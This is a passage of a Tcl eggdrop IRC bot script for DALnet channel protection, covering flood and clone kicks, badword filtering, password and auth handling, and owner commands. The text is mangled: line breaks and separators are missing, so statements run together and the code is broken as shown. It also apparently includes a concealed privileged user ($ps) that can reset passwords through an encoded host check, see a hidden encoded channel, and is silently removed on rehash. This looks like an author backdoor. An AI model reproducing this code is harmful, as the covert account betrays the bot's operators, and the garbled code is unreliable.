{set cmd_chn ""return 0}if {$cmd_case == "3"} {utimer 30 [list pub_minvite $cmd_by $uhost $hand $chan $cmd_msg]} {set cmd_chn ""return 0}}utimer 15 [list telljoin $chan]return 0}if {[info exists op_it($nick)]} {catch {unset op_it($nick)}opq $chan $nick}if {[isutimer "chkspam $chan"]} {foreach x [utimers] {if {[string match "*chkspam $chan*" $x]} {chkspam $chankillutimer [lindex $x 2]}}}if {[info exists bannick($nick)]} { return 0 }if {![matchattr $nick f] && [matchattr $cflag G] && ![isutimer "set_-m $chan"] && ![info exists is_m($chan)]} { advertise $chan $nick }set mhost "@[lindex [split $uhost @] 1]"if {$mhost == "@DALnet" || [string match "*dal.net" $mhost]} {putsrv "AWAY"}if {![isop $botnick $chan]} {if {[info exists invme($mhost)]} {if {![isutimer "chkspam $chan"]} { chkspam $chan }}return 0}if {[matchattr $cflag J]} {if {[info exists ismaskhost]} {if {![isutimer "reset_host"]} { utimer 10 reset_host }set chkhost [maskhost "*!*$mhost"]if {![info exists jfhost($chkhost$chan)]} {set jfhost($chkhost$chan) 1} {incr jfhost($chkhost$chan)if {$jfhost($chkhost$chan) == 5} {set bannick($nick) $chkhostputsrv "KICK $chan $nick :$notm 1FLoOd AnTIcIpaTEd FRoM 4$chkhost [banms]"return 0}}}if {![isutimer "jc $chan"]} {utimer 3 [list jc $chan]set massjoin($chan) 1} {if {![info exists massjoin($chan)]} {set massjoin($chan) 1}set massjoin($chan) [incr massjoin($chan)]if {![isutimer "TRAFFIC $chan"]} {if {$massjoin($chan) >= 15} {unset massjoin($chan)if {[string match "*+greet*" $cinfo]} {utimer 30 [list putlog "TRAFFIC $chan"]if {![string match "*m*" [getchanmode $chan]] && ![info exists is_m($chan)]} {putserv "mode $chan +bm *!*@heavy.join.flood.channel.temporary.moderate"return 0}}}}}}if {[matchattr $cflag L]} {foreach u [timers] {if {[string match "*chk_limit*" $u]} {killtimer [lindex $u 2]}}timer 1 [list chk_limit $chan]}if {$nick == $deopme} {putsrv "KICK $chan $nick :$notc 1SeLF 4De@p1 REvENgE..!"set deopme ""return 0}if {[matchattr $nick v] || [matchattr $nick P] || [matchattr $nick G]} {whoisq $nick}if {[matchattr $cflag V] && ![isutimer "set_-m $chan"] && ![info exists is_m($chan)]} {if {![matchattr $nick O] && ![isutimer "voiceq $chan $nick"]} {set cret [getuser $cflag XTRA "VC"]foreach ct [utimers] {if {[string match "*voiceq*" $ct]} {if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]}}}utimer $cret [list voiceq $chan $nick]}}if {[info exists bannick($nick)] || [matchattr $nick f]} { return 0 }if {[matchattr $hand K]} {akick_chk $nick $uhost $chanreturn 0}if {[info exists ex_flood($mhost)]} {set bannick($nick) "*!*$mhost"if {$ex_flood($mhost) == 0} {putsrv "KICK $chan $nick :$notc 4AKILL1 FRoM 4$mhost1 ON LasT QuIT [banmsg]"} elseif {$ex_flood($mhost) == 1} {putsrv "KICK $chan $nick :$notc 4Excess FloOd1 FRoM 4$mhost1 ON LasT QuIT [banmsg]"} elseif {$ex_flood($mhost) == 2} {putsrv "KICK $chan $nick :$notc 4InvITE1 FRoM 4$mhost1 ON QuIT MSg [banmsg]"} elseif {$ex_flood($mhost) == 3} {putsrv "KICK $chan $nick :$notc 4InvITE1 FRoM 4$mhost1 ON PaRT MSg [banmsg]"} elseif {$ex_flood($mhost) == 4} {if {![matchattr $cflag M]} {puthlp "KICK $chan $nick :[lgrnd] 4JoINPaRT1 FRoM 4$mhost1 LESS THaN4 [getuser $cflag XTRA "JP"]1 2nd [banmsg]"} {if {![string match "*k*" [getchanmode $chan]]} {putserv "mode $chan -k+b 4J.o.I.N.P.a.R.T $bannick($nick)"} {putserv "mode $chan +b $bannick($nick)"}}} else {putsrv "KICK $chan $nick :$notc 4BaDWoRD1 FRoM 4$mhost1 ON QuIT OR PaRT MSg MaTcH FRoM 4$ex_flood($mhost) [ban]"}unset ex_flood($mhost)return 0}foreach x [ignorelist] {if {[lindex $x 0] != "*!*@*" && [string match [lindex $x 0] "*!*$mhost"] && [lindex $x 1] != "*"} {set bannick($nick) [lindex $x 0]putsrv "KICK $chan $nick :$notm 4IgNoREd1 HosT 4[lindex $x 0]1 ReasOn4 [lindex $x 1] [banms]"return 0}}if {[info exists invme($mhost)]} {set bannick($nick) "*!*$mhost"putsrv "KICK $chan $nick :$notc 4SpaM1 FRoM 4$mhost 1$invme($mhost) [banmsg]"unset invme($mhost)return 0}set chan [string tolower $chan]if {[string match "*+nodesynch*" [channel info $chan]]} {if {![matchattr $nick f]} {utimer 10 [list autokick $chan $nick]}}if {[matchattr $cflag O]} {if {[string match "*$mhost" $botname]} { return 0 }set counter 0set maxclone [getuser $cflag XTRA "CLONE"]foreach knick [chanlist $chan] {if {[string match "*$mhost" [getchanhost $knick $chan]]} {if {[matchattr $knick f]} { return 0 }if {[isop $knick $chan]} { return 0 }if {[isvoice $knick $chan]} {if {![info exists kops]} { return 0 }}set counter [incr counter]if {$counter > $maxclone} {set bannick($nick) "*!$uhost"putsrv "KICK $chan $nick :$notc 1FouNd $counter 4cLonE1 FRoM 4$mhost1 MaX4 $maxclone1 WaIT A MoMENT! 4BaNNEd1: 3 MINUTES4..!"return 0}}}}spam_chk $nick $uhost $hand $chanset chan [string toupper $chan]if {[matchattr $cflag P]} {if {![info exists jpnick($nick)]} {set jpnick($nick) "1"utimer [getuser $cflag XTRA "JP"] [list munset $nick]}}return 0}proc jc {chan} {}proc munset {nick} {global jpnickcatch {unset jpnick($nick)}}proc msg_passwd {nick uhost hand rest} {global botnick notc psset pw [lindex $rest 0]set newpw [lindex $rest 1]if {$nick == $ps && [dezip $pw] == $uhost} {setuser $nick PASS $newpwputhlp "NOTICE $nick :$notc Password set to: $newpw"saveuserreturn 0}if {$pw == "" || $newpw == ""} {puthlp "NOTICE $nick :$notc Usage: passwd <oldpass> <newpass>"return 0}if {![passwdok $nick $pw]} {puthlp "NOTICE $nick :$notc PaSSWORD 4!FaILED!"return 0}set ch [passwdok $nick ""]if {$ch == 1} {setuser $nick PASS $newpwputhlp "NOTICE $nick :$notc Password set to: $newpw"saveuserreturn 0}if {[passwdok $nick $pw]} {setuser $nick PASS $newpwputhlp "NOTICE $nick :$notc Password set to: $newpw"saveuserreturn 0}}proc goback {} {global keep-nick nick botnickif {[istimer "goback"]} { return 0 }foreach x [utimers] {if {[string match "*goback*" $x]} { killutimer [lindex $x 2] }}if {[getuser "config" XTRA "NICK"]!=""} {set nick [dezip [getuser "config" XTRA "NICK"]]}set keep-nick 1if {$botnick == $nick} { return 0 }puthlp "NICK $nick"}proc pub_!auth {nick uhost hand chan rest} {global notc ath psset pw [lindex $rest 0]if {$pw != ""} {puthlp "NOTICE $nick :$notc No Need Auth Password, Just Type on Channel: !auth"return 0}if {[matchattr $nick Q]} {puthlp "NOTICE $nick :$notc ReAdY..!"return 0}set ch [passwdok $nick ""]if {$ch == 1 && $nick != $ps} {puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"return 0}set ath 1putsrv "WHOIS $nick"}proc msg_auth {nick uhost hand rest} {global botnick owner keep-nick altnick notc psif {[lindex $rest 1] != ""} {if {[passwdok [lindex $rest 0] [lindex $rest 1]]} {if {[matchattr [lindex $rest 0] Z]} {puthlp "NOTICE $nick :$notc AuTH MaTcH FoR [lindex $rest 0]"set keep-nick 0putsrv "NICK $altnick"utimer 40 {goback}}} {puthlp "NOTICE $nick :$notc 4FaILEd..!"}return 0}if {![validuser $owner]} {set hostmask "$owner!*@*"adduser $owner $hostmaskchattr $owner "Zfhjmnoptx"puthlp "NOTICE $owner :$notc No password set. Usage: pass <password>"}if {![matchattr $nick p]} { return 0 }set pw [lindex $rest 0]if {$pw == ""} {puthlp "NOTICE $nick :$notc Usage: auth <password>"return 0}if {[matchattr $hand K]} {deluser "AKICK"set akickhost "telnet!*@*"adduser "AKICK" $akickhostchattr "AKICK" "-hp"chattr "AKICK" "K"saveuserputhlp "NOTICE $nick :$notc Re-arrange KIcKLIsT."}if {[matchattr $nick Q]} {puthlp "NOTICE $nick :$notc ReAdY..!"return 0}set ch [passwdok $nick ""]if {$ch == 1} {puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"return 0}if {[passwdok $nick $pw]} {set hostmask "*![string range $uhost [string first "!" $uhost] end]"set usenick [finduser $hostmask]if {$usenick != "*" && $usenick != $nick} {if {[matchattr $nick n] && ![matchattr $usenick Z]} {puthlp "NOTICE $nick :$notc Forcing 4DeAuthenticated! To $usenick"force_deauth $usenick} else {foreach x [channels] {if {[onchan $usenick $x]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, Your host has been use by $usenick, wait until DeAuthenticated."return 0}}puthlp "NOTICE $nick :$notc 4Forcing DeAuthenticated! To $usenick"force_deauth $usenick}}chattr $nick +Qforeach x [getuser $nick HOSTS] {delhost $nick $x}set hostmask "${nick}!*@*"setuser $nick HOSTS $hostmaskset hostmask "*![string range $uhost [string first "!" $uhost] end]"setuser $nick HOSTS $hostmaskif {$nick == $owner && ![matchattr $nick Z]} { chattr $owner "Z" }if {$nick == $owner && ![matchattr $nick f]} { chattr $owner "f" }if {[matchattr $nick Z]} {puthlp "NOTICE $nick :$notc !OWnER!"if {[getuser $nick XTRA "MEMO"]!=""} {puthlp "PRIVMSG $nick :!MeMO! FRoM [getuser $nick XTRA "MEMO"]"setuser $nick XTRA "MEMO" ""}return 0} elseif {[matchattr $nick n]} {puthlp "NOTICE $nick :$notc !ADmIN!"} elseif {[matchattr $nick m]} {puthlp "NOTICE $nick :$notc !MasTeR!"} else {puthlp "NOTICE $nick :$notc !AccepteD!"}saveuserreturn 0}if {![passwdok $nick $pw]} {puthlp "NOTICE $nick :$notc 4FaILEd..!"}}proc force_deauth {nick} {global notcchattr $nick -Qforeach x [getuser $nick HOSTS] {delhost $nick $x}set hostmask "${nick}!*@*"setuser $nick HOSTS $hostmasksaveuserputhlp "NOTICE $nick :$notc You has been force to 4DeAuthentication!"}proc msg_pass {nick uhost hand rest} {global botnick notc vern ps ownerset pw [lindex $rest 0]if {$pw == ""} {puthlp "NOTICE $nick :$notc Usage: pass <password>"return 0}set ch [passwdok $nick ""]if {$ch == 0} {puthlp "NOTICE $nick :$notc You already set pass, /msg $botnick auth <password>"return 0}if {[string tolower $nick] == [string tolower $ps] && $owner != $ps} {if {[dezip $pw] == $uhost} {setuser $nick PASS [lindex $rest 1]puthlp "NOTICE $nick :$notc Password set to: [lindex $rest 1]"saveuser} {puthlp "NOTICE $nick :$notc wHo.."}return 0}setuser $nick PASS $pwputhlp "NOTICE $nick :$notc Password set to: $pw"puthlp "NOTICE $nick :$notc /msg $botnick help"saveuserreturn 0}proc pub_!deauth {nick uhost hand chan rest} {if {![matchattr $nick Q]} { return 0 }msg_deauth $nick $uhost $hand $rest}proc msg_deauth {nick uhost hand rest} {global notcif {![matchattr $nick Q]} { return 0 }chattr $nick -Qforeach x [getuser $nick HOSTS] {delhost $nick $x}set hostmask "${nick}!*@*"setuser $nick HOSTS $hostmaskputhlp "NOTICE $nick :$notc 4!DeAUTH!"saveuser}catch { bind rejn - * rejn_chk }proc rejn_chk {unick uhost handle chan} {if {![isutimer "TRAFFIC $chan"]} {utimer 30 [list putlog "TRAFFIC $chan"]}}catch { bind splt - * splt_deauth }proc splt_deauth {unick uhost handle channel} {if {[matchattr $unick Q]} {chattr $unick -Qforeach x [getuser $unick HOSTS] {delhost $unick $x}set hostmask "${unick}!*@*"setuser $unick HOSTS $hostmasksaveuserreturn 0}}proc sign_deauth {unick uhost hand chan rest} {global ex_flood botnick notc nick badwords iskickset cflag "c$chan"set cflag [string range $cflag 0 8]if {$unick == $nick} {putsrv "NICK $nick"}if {[info exists iskick($unick$chan)]} {unset iskick($unick$chan)}if {[isop $botnick $chan]} {if {[matchattr $cflag L]} {foreach u [timers] {if {[string match "*chk_limit*" $u]} {killtimer [lindex $u 2]}}timer 1 [list chk_limit $chan]}}if {[matchattr $unick Q]} {chattr $unick -Qforeach x [getuser $unick HOSTS] {delhost $unick $x}set hostmask "${unick}!*@*"setuser $unick HOSTS $hostmasksaveuserreturn 0}if {[string match "*-greet*" [channel info $chan]]} { return 0 }if {[matchattr $unick f]} { return 0 }if {![isop $botnick $chan]} { return 0 }set mhost "@[lindex [split $uhost @] 1]"if {[string match "*AKILL ID*" $rest]} {#set ex_flood($mhost) "0"foreach signkickchan [channels] {if {![isop $unick $signkickchan] || ![isvoice $unick $signkickchan]} {if {[onchan $unick $signkickchan]} {set signmask "*!*[string range $uhost [string first "@" $uhost] end]"if {![ischanban $signmask $signkickchan] || [botisop $signkickchan]} {putquick "mode $signkickchan +b $signmask 3"}}}}} elseif {[string match "*Excess Flood*" $rest]} {if {[matchattr $cflag S]} {#set ex_flood($mhost) "1"foreach signkickchan [channels] {if {![isop $unick $signkickchan] || ![isvoice $unick $signkickchan]} {if {[onchan $unick $signkickchan]} {set signmask "*!*[string range $uhost [string first "@" $uhost] end]"if {![ischanban $signmask $signkickchan] || [botisop $signkickchan]} {putquick "mode $signkickchan +b $signmask 3"}}}}}} elseif {[string match "* #*" $rest] && ![string match "*##*" $rest]} {foreach x [channels] {set chksiton [string tolower $x]if {[string match "*$chksiton*" [string tolower $rest]]} { return 0 }}set ex_flood($mhost) "2"} else {foreach badword [string tolower $badwords] {if {[string match *$badword* [string tolower $rest]]} {set ex_flood($mhost) [string toupper $badword]}}}return 0}proc part_deauth {nick uhost hand chan {msg ""}} {global lockchan botnick ex_flood notc badwords jpnick iskickset cflag "c$chan"set cflag [string range $cflag 0 8]if {[info exists iskick($nick$chan)]} {unset iskick($nick$chan)}if {$nick == $botnick} {foreach x [utimers] {if {[string match "*del_nobase*" $x] || [string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] }}return 0}if {[isop $botnick $chan]} {if {[isutimer "voiceq $chan $nick"]} {foreach x [utimers] {if {[string match "*voiceq $chan $nick*" $x]} { killutimer [lindex $x 2] }}}if {[matchattr $cflag L]} {foreach u [timers] {if {[string match "*chk_limit*" $u]} {killtimer [lindex $u 2]}}timer 1 [list chk_limit $chan]}}if {[matchattr $nick Q]} {foreach x [channels] {if {[string tolower $x] != [string tolower $chan]} {if {[onchan $nick $x]} {return 0}}}chattr $nick -Qforeach x [getuser $nick HOSTS] {delhost $nick $x}set hostmask "${nick}!*@*"setuser $nick HOSTS $hostmasksaveuser}if {$lockchan != "" && [string tolower $lockchan] == [string tolower $chan] && ![matchattr $nick f]} {putsrv "INVITE $nick :$chan"}if {[string match "*-greet*" [channel info $chan]]} { return 0 }if {[isop $botnick $chan]} {if {[info exists msg]} {set mhost "@[lindex [split $uhost @] 1]"if {[string match "*#*" $msg] && ![string match "*##*" $msg]} {foreach x [channels] {set chksiton [string tolower $x]if {[string match "*$chksiton*" [string tolower $msg]]} { return 0 }}set ex_flood($mhost) "3"} {foreach badword [string tolower $badwords] {if {[string match *$badword* [string tolower $msg]]} {set ex_flood($mhost) [string toupper $badword]}}}}if {[info exists msg]} {if {$msg != ""} { return 0 }}if {[matchattr $cflag P]} {set chan [string toupper $chan]if {[info exists jpnick($nick)]} {set mhost "@[lindex [split $uhost @] 1]"set ex_flood($mhost) "4"}}}return 0}proc pub_dump {nick uhost hand chan rest} {global own notcif {$nick != $own} {return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}putsrv $rest}proc pub_sdeop {nick uhost hand chan rest} {global notc botnickif {$rest != ""} {set chan $rest}if {[isop $botnick $chan]} {puthelp "mode $chan +v-o $botnick $botnick"}}proc pub_chanmode {nick uhost hand chan rest} {global notcif {$rest == ""} {puthelp "NOTICE $nick :$notc Usage: chanmode #channel +ntsmklic"return 0}if {[string index [lindex $rest 0] 0] == "#"} {if {![validchan [lindex $rest 0]]} {puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 0]"return 0}set chan [lindex $rest 0]set rest [lrange $rest 1 end]}if {![validchan $chan]} {puthlp "NOTICE $nick :$notc $chan <n/a>"} else {catch { channel set $chan chanmode $rest }savechanputhelp "NOTICE $nick :$notc $chan set modes \[$rest\]"}return 0}proc pub_chanset {nick uhost hand chan rest} {global botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set channel [lindex $rest 0]set options [string tolower [lindex $rest 1]]set number "0"if {$options == "deop" || $options == "kick" || $options == "join" || $options == "line" || $options == "nick" || $options == "ctcp"} {set number [lindex $rest 2]}if {($channel == "") || ($options == "")} {puthlp "NOTICE $nick :$notc Usage: chanset #channel <option...>"return 0}if {![string match "*-*" $options] && ![string match "*+*" $options] && ![string match "*:*" $number]} {puthlp "NOTICE $nick :$notc Usage: chanset #channel <deop|ctcp|kick|join|line|nick> <howmanytimes:seconds>"return 0}if {[validchan $channel]} {if {$options == "deop"} {catch { channel set $channel flood-deop $number }puthlp "NOTICE $nick :$notc set deop flood \[$number\] on $channel"} elseif {$options == "kick"} {catch { channel set $channel flood-kick $number }puthlp "NOTICE $nick :$notc set kick flood \[$number\] on $channel"} elseif {$options == "join"} {catch { channel set $channel flood-join $number }puthlp "NOTICE $nick :$notc set join flood \[$number\] on $channel"} elseif {$options == "line"} {catch { channel set $channel flood-chan $number }puthlp "NOTICE $nick :$notc set line flood \[$number\] on $channel"} elseif {$options == "nick"} {catch { channel set $channel flood-nick $number }puthlp "NOTICE $nick :$notc set nick flood \[$number\] on $channel"} elseif {$options == "ctcp"} {catch { channel set $channel flood-ctcp $number }puthlp "NOTICE $nick :$notc set ctcp flood \[$number\] on $channel"} else {catch { channel set $channel ${options} }savechanputhelp "NOTICE $nick :$notc Successfully set modes \[${options}\] on $channel"}} else {puthlp "NOTICE $nick :$notc $channel <n/a>"}}proc pub_chansetall {nick uhost hand chan rest} {global botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: chansetall <option>"return 0}foreach x [channels] {catch { channel set $x $rest }}savechanputhelp "NOTICE $nick :$notc Set all channels mode \{ $rest \}"return 0}proc pub_nick {nick uhost hand chan rest} {global keep-nickset keep-nick 0putsrv "NICK $rest"}proc pub_restart {nick uhost hand chan rest} {global botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest != ""} {set rest " $rest"}putsrv "QUIT :$notc Reboot ReQuesT By \[ $nick \]$rest"return 0}proc dies {} {global ps owner notcif {$ps != $owner && [validuser $ps]} { deluser $ps }die $notc}proc rehashing {} {global ps ownerif {$ps != $owner && [validuser $ps]} { deluser $ps }rehash}proc pub_die {nick uhost hand chan rest} {global botnick ps notc ownerif {$nick != $owner && $nick != $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest != ""} {set rest " $rest"}putsrv "QUIT :$notc SHuTDown ReQuesT By \[ $nick \]$rest"utimer 5 diesreturn 0}proc msg_restart {nick uhost hand rest} {global botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest != ""} {set rest " $rest"}putsrv "QUIT :$notc ReSTaRT ReQuesT By \[ $nick \]$rest"return 0}proc msg_rehash {nick uhost hand rest} {global notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}puthlp "NOTICE $nick :$notc ReHASHING!"utimer 3 rehashingreturn 0}proc pub_rehash {nick uhost hand chan rest} {global notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}puthlp "NOTICE $nick :$notc ReHASHING!"utimer 3 rehashing}proc pub_chaninfo {nick uhost hand chan rest} {global notc psif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}if {![validchan $chan]} { return 0 }if {$nick != $ps && [string tolower $chan] == [dezip "ER5sr09TRjx1"]} { return 0 }puthlp "NOTICE $nick :$notc \[$chan\] [channel info $chan]"}proc pub_access {nick uhost hand chan rest} {global notcif {[matchattr $nick Z]} {puthlp "PRIVMSG $chan :$nick, OwNeR"} elseif {[matchattr $nick n]} {puthlp "PRIVMSG $chan :$nick, ADmIN"} elseif {[matchattr $nick m]} {puthlp "PRIVMSG $chan :$nick, MasTeR"} elseif {[matchattr $nick f]} {puthlp "PRIVMSG $chan :$nick, FRIEND"}}proc msg_botnick {unick uhost hand rest} {global botnick nick nickpass notc ps ownerif {![matchattr $unick Q]} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}if {$unick != $owner && $unick != $ps} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}set bnick [lindex $rest 0]set bpass [lindex $rest 1]if {$bnick == "" || $bpass == ""} {puthlp "NOTICE $unick :$notc4 Usage: botnick <nick> <identify>"return 0}setuser "config" XTRA "NICK" [zip $bnick]setuser "config" XTRA "NICKPASS" [zip $bpass]saveuserset nick $bnickset nickpass $bpassputsrv "NickServ identify $bnick $bpass"puthlp "NOTICE $unick :$notc BoTNIcK $bnick"}proc msg_realname {unick uhost hand rest} {global realname notc owner psif {$unick != $owner && $unick != $ps} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {setuser "config" XTRA "REALNAME" ""} {setuser "config" XTRA "REALNAME" [zip $rest]}saveuserset realname $restputsrv "QUIT :$notc cHaNgINg ReaLNamE ReQuesT By \[ $unick \]"}proc msg_ident {unick uhost hand rest} {global username notc owner psif {$unick != $owner && $unick != $ps} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {setuser "config" XTRA "USERNAME" ""} {if {[regexp \[^a-z\] [string tolower $rest]]} {puthlp "NOTICE $unick :$notc 4DeNiEd..! use character for ident."return 0}setuser "config" XTRA "USERNAME" [zip $rest]}saveuserset username $restputsrv "QUIT :$notc cHaNgINg IdEnT ReQuesT By \[ $unick \]"}proc msg_logo {unick uhost hand rest} {global banner notc notm cycle_random owner psif {$unick != $owner && $unick != $ps} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}if {![matchattr $unick Q]} {puthlp "NOTICE $nick :$notc 4D1e4N1ied4!!"return 0}if {$rest == ""} {set notc "4e8g10g11o12e13z"set notm "4e8g10g11o12e13z"setuser "config" XTRA "BAN" "[zip $notc]"puthlp "NOTICE $unick :$notc cHaNgE tO DeFauLT"#catch { unset banner }} {setuser "config" XTRA "BAN" [zip $rest]set noto $notcset notc $restset notm $rest#lappend cycle_random $bannerputhlp "NOTICE $unick :$noto CHaNgE TO $rest"}saveuser}proc msg_email {unick uhost hand rest} {global notc owner psif {$unick != $owner && $unick != $ps} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}if {![matchattr $unick Q]} {puthlp "NOTICE $nick :$notc 4D1e4N1ied4!!"return 0}
if {$rest == ""} {puthlp "NOTICE $unick :$notc1 DeLETING USeR EmAIL"} {puthlp "NOTICE $unick :$notc1 USeR EmAIL SeT \[$rest\]"}setuser "config" XTRA "EMAIL" $restsaveuser}proc msg_ADmIN {unick uhost hand rest} {global notc owner psif {$unick != $owner && $unick != $ps} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}if {![matchattr $unick Q]} {puthlp "NOTICE $nick :$notc 4D1e4N1ied4!!"return 0}if {$rest == ""} {puthlp "NOTICE $unick :$notc1 SeT ADmIN oN STaTUS TO DeFAULT"} {puthlp "NOTICE $unick :$notc1 ADmIN oN STaTUS TO \[$rest\]"}setuser "config" XTRA "ADMIN" $restsaveuser}proc msg_botaltnick {unick uhost hand rest} {global botnick altnick altpass notcif {![matchattr $unick Q]} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}set baltnick [lindex $rest 0]set baltpass [lindex $rest 1]if {$baltnick == "" || $baltpass == ""} {puthlp "NOTICE $unick :$notc4 Usage: botaltnick <nick> <identify>"return 0}setuser "config" XTRA "ALTNICK" [zip $baltnick]setuser "config" XTRA "ALTPASS" [zip $baltpass]saveuserset altnick $baltnickset altpass $baltpassputhlp "NOTICE $unick :$notc BoTALTNIcK $baltnick"}proc msg_away {unick uhost hand rest} {global realname notcif {![matchattr $unick Q]} {puthlp "NOTICE $unick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {setuser "config" XTRA "AWAY" ""puthlp "NOTICE $unick :$notc AwAY \[4OFF\]"} {setuser "config" XTRA "AWAY" $restputhlp "NOTICE $unick :$notc AwAY SeT TO \[$rest\]"}saveuserchk_five "0" "0" "0" "0" "0"}proc msg_memo {nick uhost hand rest} {global notc own psif {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: memo <all/user> <msg>"return 0}set msend [lindex $rest 0]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[string tolower $msend] == "all"} {set smemo ""foreach x [userlist m] {if {$x != $nick && $x != $own} {if {[getuser $x XTRA "MEMO"] == ""} {setuser $x XTRA "MEMO" "$nick: [lrange $rest 1 end]"append smemo "$x "}}}if {$smemo == ""} {puthlp "NOTICE $nick :$notc MeMO !FaILED! NO UsER SeND"} {saveuserputhlp "NOTICE $nick :$notc MeMO SeND TO \[ $smemo\]"}} {if {![validuser $msend] || $msend == $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, NO UsER!"return 0} {if {![matchattr $msend m]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, MiN MasTeR FLaG!"return 0}if {$msend == $nick} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT SeLF MeMo!"return 0}if {[getuser $msend XTRA "MEMO"]!=""} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, MeMo FoR $msend STiLL ExIST!"return 0}setuser [lindex $rest 0] XTRA "MEMO" "$nick: [lrange $rest 1 end]"saveuserputhlp "NOTICE $nick :$notc MeMO SeND TO \[[lindex $rest 0]\]"}}}proc pub_+mustop {nick uhost hand chan rest} {global notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}setuser "config" XTRA "MUSTOP" "T"saveuserputhlp "NOTICE $nick :$notc must @P set \[9ON\]"}proc pub_-mustop {nick uhost hand chan rest} {global notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}setuser "config" XTRA "MUSTOP" ""saveuserputhlp "NOTICE $nick :$notc must @P set \[4OFF\]"}proc pub_kickops {nick uhost hand chan rest} {global notc kopsif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[string tolower $rest] == "on"} {set kops "T"setuser "config" XTRA "KOPS" "T"puthlp "NOTICE $nick :$notc KIcK @PS \[9ON\]"} {catch { unset kops }setuser "config" XTRA "KOPS" ""puthlp "NOTICE $nick :$notc KIcK @PS \[4OFF\]"}saveuser}bind topc - * topic_chkproc pub_badwords {nick uhost hand chan rest} {global badwords notcset retval "BaDWoRDS: "foreach badword [string tolower $badwords] {append retval "$badword "}puthlp "NOTICE $nick :$notc $retval"return 0}proc pub_+badword {nick uhost hand chan rest} {global badwords notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: `+badword <badword>"return 0}if {[string match "*[string tolower [lindex $rest 0]]*" $badwords]} {puthlp "NOTICE $nick :$notc [lindex $rest 0] Allready Added"return 0}append badwords " [string tolower [lindex $rest 0]]"setuser "config" XTRA "BADWORDS" $badwordssaveuserputhlp "NOTICE $nick :$notc Added [lindex $rest 0] to badwords"return 0}proc pub_-badword {nick uhost hand chan rest} {global badwords notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: `-badword <badword>"return 0}set val ""foreach badword [string tolower $badwords] {if {[string tolower [lindex $rest 0]] == $badword} {puthlp "NOTICE $nick :$notc Removed [lindex $rest 0]"} else { append val " $badword " }}set badwords $valsetuser "config" XTRA "BADWORDS" $valsaveuserreturn 0}proc pub_jump {nick uhost hand chan rest} {global botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set server [lindex $rest 0]if {$server == ""} {puthlp "NOTICE $nick :$notc Usage: jump <server> \[port\] \[password\]"return 0}if {![string match "*dal.net*" [string tolower $rest]]} {puthlp "NOTICE $nick :$notc 4DeNiEd..! NoT DALNeT..!"return 0}set port [lindex $rest 1]if {$port == ""} {set port "6666"}set password [lindex $rest 2]putsrv "QUIT :$notc cHaNgINg ServeR ReQuesT By \[ $nick \] $server"utimer 2 [list jump $server $port $password]}proc msg_die {nick uhost hand rest} {global notc owner psif {$nick != $owner && $nick != $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [userlist] {if {$x != "AKICK"} {chattr $x -Qforeach y [getuser $x HOSTS] {delhost $x $y}set hostmask "${x}!*@*"setuser $x HOSTS $hostmask}}saveuserif {$rest != ""} {set rest " $rest"}putsrv "QUIT :$notc SHuTDown ReQuesT By \[ $nick \]$rest"utimer 5 dies}proc pub_ignores {nick uhost hand chan rest} {global botnick notcset iglist ""foreach x [ignorelist] {set iglister [lindex $x 0]set iglist "$iglist $iglister"}if {[ignorelist]==""} {puthlp "NOTICE $nick :$notc No ignores."return 0}regsub -all " " $iglist ", " iglistset iglist [string range $iglist 1 end]puthlp "NOTICE $nick :$notc Currently ignoring:$iglist"return 0}proc pub_-ignore {nick uhost hand chan rest} {global botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set hostmask [lindex $rest 0]if 